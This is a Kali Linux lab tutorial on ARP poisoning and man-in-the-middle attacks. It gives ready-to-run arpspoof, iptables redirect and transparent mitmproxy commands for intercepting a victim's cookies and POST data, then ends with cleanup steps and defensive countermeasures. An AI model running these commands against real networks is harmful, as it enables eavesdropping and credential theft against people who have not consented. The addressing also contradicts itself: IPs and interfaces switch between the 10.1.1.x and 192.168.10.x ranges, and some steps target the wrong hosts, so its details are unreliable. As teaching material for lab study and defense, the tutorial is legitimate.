ARP Poisoning & MITM Attacks β Hands-On Lab with Kali Linux
What is ARP Poisoning?
ARP (Address Resolution Protocol) is responsible for mapping IP addresses to MAC addresses on a local network. When a device wants to communicate with another device, it broadcasts an ARP request asking "Who has IP 192.168.1.1?" β and the owner replies with its MAC address.
The critical problem: ARP has no authentication. Any device on the network can send a fake (gratuitous) ARP reply claiming to be any IP address. This is ARP poisoning.
Once an attacker poisons the ARP cache of both the victim and the gateway, all traffic flows through the attacker's machine β who can read, modify, or drop packets before forwarding them on. This is a classic Man-in-the-Middle (MITM) attack.
Lab Environment
This lab uses three isolated VMs on a host-only or NAT network. No traffic touches the real internet.
| VM | OS | Role | IP | |----------|-----------------|---------------------------|---------------| | Attacker | Kali Linux 2024 | Runs arpspoof + mitmproxy | 10.1.1.210 | | Victim | Windows 10 | Target machine | 10.1.1.221 | | Gateway | pfSense 2.7 | Default gateway / router | 10.1.1.254 |
ARP poisoning on any network you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws. Run this only in your isolated lab.
Prerequisites
Before starting, make sure your environment is ready:
- VMware Workstation or VirtualBox with all three VMs on the same host-only network adapter
- Kali Linux has
dsniffandmitmproxyinstalled - pfSense is configured as the default gateway for the subnet
- Windows 10 VM has a browser and can ping the gateway
From the Kali VM, ping both 192.168.10.1 (pfSense) and 192.168.10.20 (Windows 10) before starting. If pings fail, check your VM network adapter settings.
Phase 1 β Understand the Normal ARP Table
Check the victim's ARP cache (before attack)
Open a terminal on the Windows 10 VM and run:
C:\\> arp -a Interface: 192.168.10.20 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-aa-bb-cc dynamic # real pfSense MAC 10.1.1.210 00-0c-29-dd-ee-ff dynamic # Kali MAC
Note the gateway's real MAC address (00-0c-29-aa-bb-cc). After the attack, this will be replaced with Kali's MAC.
Check Kali's network interface
On the Kali VM:
ip addr show ip route show
Note your interface name β it will be eth0, eth1, or similar depending on your VM config.
Phase 2 β Enable IP Forwarding on Kali
This step is critical. Without it, Kali will drop all the victim's packets instead of forwarding them β the victim loses internet connectivity and the attack becomes obvious.
# Enable IP forwarding (packets survive through Kali) echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward # Verify it's set cat /proc/sys/net/ipv4/ip_forward # Should output: 1
Forgetting IP forwarding is the most common mistake. The victim's connection drops entirely, revealing the attack immediately.
Set up IP tables rules
# Enable IP forwarding first sudo sysctl -w net.ipv4.ip_forward=1 # Allow forwarding sudo iptables -P FORWARD ACCEPT # NAT for internet access (from previous fix) sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT # Redirect HTTP (port 80) traffic from Windows β mitmproxy sudo iptables -t nat -A PREROUTING -i eth1 -p tcp \ --src 10.1.1.221 --dport 80 -j REDIRECT --to-port 8080 # Redirect HTTPS (port 443) traffic from Windows β mitmproxy sudo iptables -t nat -A PREROUTING -i eth1 -p tcp \ --src 10.1.1.221 --dport 443 -j REDIRECT --to-port 8080 # Verify rules are in place sudo iptables -t nat -L -v
Phase 3 β Launch the ARP Poison
arpspoof from the dsniff package sends continuous gratuitous ARP replies to both the victim and the gateway, poisoning both ARP caches simultaneously.
Open two terminals on Kali and run these in parallel:
Terminal 1 β Tell the victim that Kali is the gateway:
# Syntax: arpspoof -i <interface> -t <target> <host-to-impersonate> sudo arpspoof -i eth1 -t 10.1.1.221 10.1.1.254
Terminal 2 β Tell the gateway that Kali is the victim:
sudo arpspoof -i eth1 -t 10.1.1.254 10.1.1.221
0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff 0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff 0:c:29:dd:ee:ff 0:c:29:11:22:33 0806 42: arp reply 10.1.1.254 is-at 0:c:29:dd:ee:ff
Each line is Kali sending a fake ARP reply to the victim, claiming Kali's MAC belongs to the gateway IP.
Confirm the poison worked
Back on Windows 10 VM:
C:\\> arp -a Interface: 10.1.1.221 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-dd-ee-ff dynamic <-- NOW Kali's MAC! 10.1.1.210 00-0c-29-dd-ee-ff dynamic
Both entries now show Kali's MAC β the victim's ARP cache is poisoned.
Phase 4 β Intercept Traffic with mitmproxy
Launch mitmproxy in transparent mode
sudo mitmproxy --mode transparent --listen-host 0.0.0.0 --listen-port 8080 --showhost

Now browse to any HTTP site from the Windows 10 VM. You will see every request appear in the mitmproxy interface on Kali, including headers, cookies, and POST body data.
Press Enter on any request to inspect it. Press q to go back. Press ? for the full help screen. Use arrow keys to navigate.
Phase 5 β Capture with Wireshark
Run Wireshark alongside to see the raw packet flow:
sudo wireshark &
Start Capturing the traffic in eth1. Filter for ARP packets to see the poisoning in real time:
arp
Filter for traffic between victim and gateway:
ip.addr == 10.1.1.221
You will see Kali sending a flood of ARP replies to both the victim and gateway. Each reply poisons (or re-poisons) the ARP cache.
Phase 6 β Clean Up After the Lab
Always restore ARP tables when you stop the attack. Press Ctrl+C in both arpspoof terminals β dsniff automatically sends correct ARP replies to restore the caches.
Also clear the iptables rules (disable IP Forwarding):
# Stop mitmproxy β Ctrl+C # Stop both arpspoof β Ctrl+C in Terminal 1 and 2 # Remove ALL iptables rules sudo iptables -t nat -F sudo iptables -F FORWARD sudo iptables -P FORWARD DROP # Disable IP forwarding sudo sysctl -w net.ipv4.ip_forward=0 # Clear poisoned ARP cache on Windows 10 (execute this command in administrator mode) arp -d *
Verify on Windows 10 that the gateway MAC is restored to the real pfSense MAC:
C:\\> arp -a Interface: 192.168.10.20 --- 0x5 Internet Address Physical Address Type 10.1.1.254 00-0c-29-aa-bb-cc dynamic # real pfSense MAC restored
Defensive Countermeasures
Understanding the attack is half the job. Here is how to defend against it:
1. Dynamic ARP Inspection (DAI)
On managed switches, DAI validates ARP packets against a DHCP snooping binding table. Packets with invalid IP-to-MAC mappings are dropped automatically.
# Cisco IOS example Switch(config)# ip arp inspection vlan 10 Switch(config-if)# ip arp inspection trust # on uplink only
2. Static ARP Entries
For critical machines (gateways, servers), set static ARP entries that cannot be overwritten:
# Set a static ARP entry for the gateway netsh interface ipv4 add neighbors "Ethernet" 192.168.10.1 00-0c-29-aa-bb-cc
# Linux β set static ARP entry sudo arp -s 192.168.10.1 00:0c:29:aa:bb:cc
3. XArp β ARP Monitoring
XArp is a free tool that monitors ARP traffic and alerts on suspicious changes to the ARP cache.
4. Use Encrypted Protocols
Even with a MITM in place, HTTPS, SSH, and VPN traffic is encrypted. An attacker can see the traffic volume and destination, but not the plaintext content.
Sites that implement HTTP Strict Transport Security (HSTS) prevent browsers from accepting unencrypted connections, making sslstrip attacks significantly harder.
Summary
# 1. Enable IP forwarding echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward # 2. Poison victim β gateway direction sudo arpspoof -i eth0 -t 10.1.1.221 10.1.1.254 & # 3. Poison gateway β victim direction sudo arpspoof -i eth0 -t 10.1.1.254 10.1.1.221 & # 4. Redirect traffic to mitmproxy sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 # 5. Launch mitmproxy mitmproxy --mode transparent --showhost # --- CLEANUP --- sudo iptables -t nat -F PREROUTING echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward # Ctrl+C on both arpspoof terminals to restore ARP caches
| What we did | Why it matters | |------------------------------|-------------------------------------------| | Poisoned both ARP caches | Traffic flows through attacker | | Enabled IP forwarding | Attack stays invisible | | Intercepted with mitmproxy | Read HTTP headers, cookies, POST data | | Captured with Wireshark | Saw raw ARP floods and TCP streams | | Restored ARP tables | Clean exit, no lingering disruption |
The key takeaway: ARP has no built-in security. In any flat Layer 2 network, any device can become a MITM. Network segmentation, DAI on managed switches, and encrypted protocols are your primary defenses.